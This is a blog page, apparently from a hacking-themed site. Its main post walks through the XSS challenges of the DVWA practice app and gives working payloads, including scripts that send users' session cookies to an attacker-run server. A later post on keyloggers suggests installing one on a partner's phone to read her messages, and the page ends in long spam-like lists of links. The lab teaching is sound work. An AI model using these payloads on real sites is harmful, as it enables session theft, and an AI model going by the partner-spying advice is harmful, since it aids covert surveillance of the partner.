Thursday, January 18, 2024

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English 
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script> 
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server 
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script> 
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script> 
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script> 
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea> 
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea> 
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
Related news

  1. Hacker Tools Software
  2. Tools Used For Hacking
  3. Pentest Tools Website
  4. Best Hacking Tools 2019
  5. Hacker Tools Hardware
  6. Hackrf Tools
  7. What Are Hacking Tools
  8. Pentest Tools Online
  9. Hacker Tools Apk
  10. Hack Tools For Games
  11. Pentest Tools Framework
  12. Pentest Recon Tools
  13. Hacker Security Tools
  14. Github Hacking Tools
  15. Pentest Tools Tcp Port Scanner
  16. Pentest Box Tools Download
  17. New Hacker Tools
  18. How To Install Pentest Tools In Ubuntu
  19. Pentest Tools Android
  20. Hacker Tools For Mac
  21. Hack App
  22. Hacking Tools Windows
  23. Hacker Tools Free Download
  24. Hackrf Tools
  25. Hacking Apps
  26. Hacking Tools Usb
  27. Hacker Tools Mac
  28. What Is Hacking Tools
  29. Pentest Tools Open Source
  30. Growth Hacker Tools
  31. Pentest Tools Alternative
  32. Hacker Tool Kit
  33. Hacker Tools Apk Download
  34. Github Hacking Tools
  35. How To Make Hacking Tools
  36. Hacker
  37. Hacking App
  38. Hack Tools For Mac
  39. Hack Tools Mac
  40. Black Hat Hacker Tools
  41. Hack Website Online Tool
  42. Hacker Tools Mac
  43. Hacker Tools Linux
  44. Tools 4 Hack
  45. Pentest Recon Tools
  46. Hacking Tools 2019
  47. Hacking Tools For Mac
  48. Hack Tools
  49. Pentest Tools Android
  50. Hacking Tools For Mac
  51. Hacker Hardware Tools
  52. Wifi Hacker Tools For Windows
  53. Hacking Tools For Kali Linux
  54. Hacking Tools Software
  55. Bluetooth Hacking Tools Kali
  56. Pentest Tools Free
  57. Top Pentest Tools
  58. Hak5 Tools
  59. Hacking Tools For Windows
  60. Hack Tools Online
  61. Computer Hacker
  62. Pentest Tools For Android
  63. Hacker Tools Github

How To Download Torrents Files Directly To Your Android Device

Download-Torrent-files-Android-Devices
uTorrent, one of the most popular BitTorrent clients, is now available for Android smartphones and tablets. Its use on mobile devices is very similar to its use in the PC. All you need is to search for torrents using the web browser on your mobile device, then uTorrent will download the files.

Procedure:

Other softwares

Related articles


Wednesday, January 17, 2024

What Is Keylogger? Uses Of Keylogger In Hacking ?


What is keylogger? 

How does hacker use keylogger to hack social media account and steal important data for money extortion and many uses of keylogger ?

Types of keylogger? 

===================

Keylogger is a tool that hacker use to monitor and record the keystroke you made on your keyboard. Keylogger is the action of recording the keys struck on a keyboard and it has capability to record every keystroke made on that system as well as monitor screen recording also. This is the oldest forms of malware.


Sometimes it is called a keystroke logger or system monitor is a type of surveillance technology used to monitor and record each keystroke type a specific computer's keyboard. It is also available for use on smartphones such as Apple,I-phone and Android devices.


A keylogger can record instant messages,email and capture any information you type at any time using your keyboard,including usernames password of your social media ac and personal identifying pin etc thats the reason some hacker use it to hack social media account for money extortion.

======================

Use of keylogger are as follows- 

1-Employers to observe employee's computer activity. 

2-Attacker / Hacker used for hacking some crucial data of any organisation for money extortion.

3-Parental Control is use to supervise their children's internet usage and check to control the browsing history of their child.

4-Criminals use keylogger to steal personal or financial information such as banking details credit card details etc and then which they will sell and earn a good profit. 

5-Spouse/Gf tracking-if you are facing this issue that your Spouse or Gf is cheating on you then you can install a keylogger on her cell phone to monitor her activities over the internet whatever you want such as check Whats app, facebook and cell phone texts messages etc . 

=====================

Basically there are two types of keylogger either the software or hardware but the most common types of keylogger across both these are as follows-

1-API based keylogger 

2-Form Grabbing Based Keylogger 

3-Kernal Based Keylogger 

4-Acoustic Keylogger ETC . 

====================

How to detect keylogger on a system?

An antikeylogger is a piece of software specially designed to detect it on a computer. 

Sometype of keylogger are easily detected and removed by the best antivirus software. 

You can view  the task manager(list of current programs) on a windows PC by Ctrl+Alt+Del to detect it.

Use of any software to perform any illegal activity is a crime, Do at your own risk.




Related articles


  1. Hak5 Tools
  2. What Are Hacking Tools
  3. Best Pentesting Tools 2018
  4. Hacking Tools Download
  5. Hacker Tools Github
  6. How To Make Hacking Tools
  7. Hacker Tools Free Download
  8. Pentest Reporting Tools
  9. Hacking Tools Name
  10. Hacker Tools For Ios
  11. Hack Rom Tools
  12. Pentest Tools Kali Linux
  13. Hacking Tools Online
  14. Hacking Tools For Pc
  15. Pentest Tools List
  16. How To Install Pentest Tools In Ubuntu
  17. Hacking Tools Software
  18. Pentest Tools
  19. Free Pentest Tools For Windows
  20. Hacker Tools List
  21. Hacking Tools Mac
  22. How To Hack
  23. Hacking Tools Mac
  24. Tools Used For Hacking
  25. Install Pentest Tools Ubuntu
  26. Hack Tools 2019
  27. Hacker Tools Hardware
  28. Pentest Tools For Windows
  29. Hacker Tools
  30. What Is Hacking Tools
  31. Hack Tools For Games
  32. Hack Tools 2019
  33. Hacker Tools For Pc
  34. Hacking Tools For Windows
  35. Hacker Tools For Pc
  36. Hacker Tools Apk Download
  37. Pentest Tools Android
  38. How To Install Pentest Tools In Ubuntu
  39. Underground Hacker Sites
  40. Pentest Tools Website Vulnerability
  41. Hacker Tools For Pc
  42. Wifi Hacker Tools For Windows
  43. Tools For Hacker
  44. Pentest Box Tools Download
  45. Hacking Tools For Mac
  46. Pentest Tools Alternative
  47. Hacking Tools 2019
  48. How To Install Pentest Tools In Ubuntu
  49. Pentest Tools Find Subdomains
  50. Bluetooth Hacking Tools Kali
  51. Hack Tools
  52. Hacker Tools Apk Download
  53. Hack Tools For Ubuntu
  54. How To Make Hacking Tools
  55. Hacker Tool Kit
  56. Pentest Tools For Android
  57. Hacker Tools For Windows
  58. Pentest Tools Find Subdomains
  59. Tools 4 Hack
  60. Install Pentest Tools Ubuntu
  61. Pentest Tools Online
  62. Hacker Tool Kit
  63. Pentest Tools Alternative
  64. Hack Apps
  65. How To Make Hacking Tools
  66. Hacking Tools Usb
  67. Ethical Hacker Tools
  68. Kik Hack Tools
  69. Pentest Tools List
  70. Physical Pentest Tools
  71. Hacking Tools For Mac
  72. Hacking Tools And Software
  73. Nsa Hacker Tools
  74. Install Pentest Tools Ubuntu
  75. Hacking App
  76. Easy Hack Tools
  77. Termux Hacking Tools 2019
  78. Hacker Tools 2020
  79. Hacking Tools For Mac
  80. Pentest Box Tools Download
  81. Pentest Tools For Android
  82. Tools For Hacker
  83. Pentest Tools For Ubuntu
  84. Free Pentest Tools For Windows
  85. Hack Tool Apk
  86. Pentest Tools For Mac
  87. Hack Apps
  88. Hacking Tools For Windows
  89. Hacking Tools For Beginners
  90. Pentest Box Tools Download
  91. Pentest Tools Windows
  92. Hacking Tools For Mac
  93. Hack Tools Pc
  94. Hacker Tools For Ios
  95. Nsa Hack Tools
  96. Pentest Tools For Android

Hackerhubb.blogspot.com

Hackerhubb.blogspot.com

Related posts


  1. Termux Hacking Tools 2019
  2. Pentest Tools Port Scanner
  3. Pentest Tools Android
  4. New Hack Tools
  5. Wifi Hacker Tools For Windows
  6. Hacking Tools Windows 10
  7. Hack Rom Tools
  8. Pentest Tools Tcp Port Scanner
  9. Hacker Search Tools
  10. Pentest Tools For Ubuntu
  11. Wifi Hacker Tools For Windows
  12. Hacking Tools Windows 10
  13. Bluetooth Hacking Tools Kali
  14. Hacker Tools For Pc
  15. Hack Tools Mac
  16. Underground Hacker Sites
  17. Pentest Tools Framework
  18. Easy Hack Tools
  19. Hacking Tools Github
  20. Tools 4 Hack
  21. Hack Tools For Games
  22. Pentest Tools Android
  23. Hacker
  24. Termux Hacking Tools 2019
  25. Hacker Tools Apk Download
  26. Hacking Tools Pc
  27. How To Make Hacking Tools
  28. Pentest Tools Apk
  29. Pentest Tools Website
  30. Hack Tools Download
  31. Pentest Tools
  32. Ethical Hacker Tools
  33. Free Pentest Tools For Windows
  34. Pentest Tools Subdomain
  35. Hack Tools Download
  36. Hacker Security Tools
  37. Wifi Hacker Tools For Windows
  38. Easy Hack Tools
  39. Hack Tools Online
  40. Top Pentest Tools
  41. Hackrf Tools
  42. Install Pentest Tools Ubuntu
  43. How To Hack
  44. Hacking Tools For Windows
  45. Hacking Tools Software
  46. What Is Hacking Tools
  47. Hacker Tools Apk Download
  48. Hacker Tools Hardware
  49. Hacking Tools For Games
  50. Hak5 Tools
  51. Hack Tools For Ubuntu
  52. What Is Hacking Tools
  53. How To Install Pentest Tools In Ubuntu
  54. Hack Rom Tools
  55. Hack Tools For Ubuntu
  56. Hacking Tools Github
  57. Pentest Tools Free
  58. Hacker Security Tools
  59. Hack Tool Apk No Root
  60. Hacking Tools Software
  61. Hacking Tools Hardware
  62. Nsa Hack Tools
  63. Pentest Tools Port Scanner
  64. World No 1 Hacker Software
  65. Hacker Tools Mac
  66. Pentest Tools Github
  67. Hack Tools For Pc
  68. Hacker Tools Software
  69. Hacking Tools
  70. Hacking Tools Github
  71. Hack Tools For Pc
  72. Hacker Tools For Pc
  73. Nsa Hack Tools Download
  74. Hackers Toolbox
  75. Hacker Tools Free
  76. Hacking Tools
  77. Pentest Box Tools Download
  78. Hacker Tools Github
  79. Hacking Tools Windows 10
  80. Hacking Tools For Windows
  81. Hack Tools Online
  82. Hacker Search Tools
  83. Beginner Hacker Tools
  84. Hackrf Tools
  85. Hacking App
  86. Hacking Tools Kit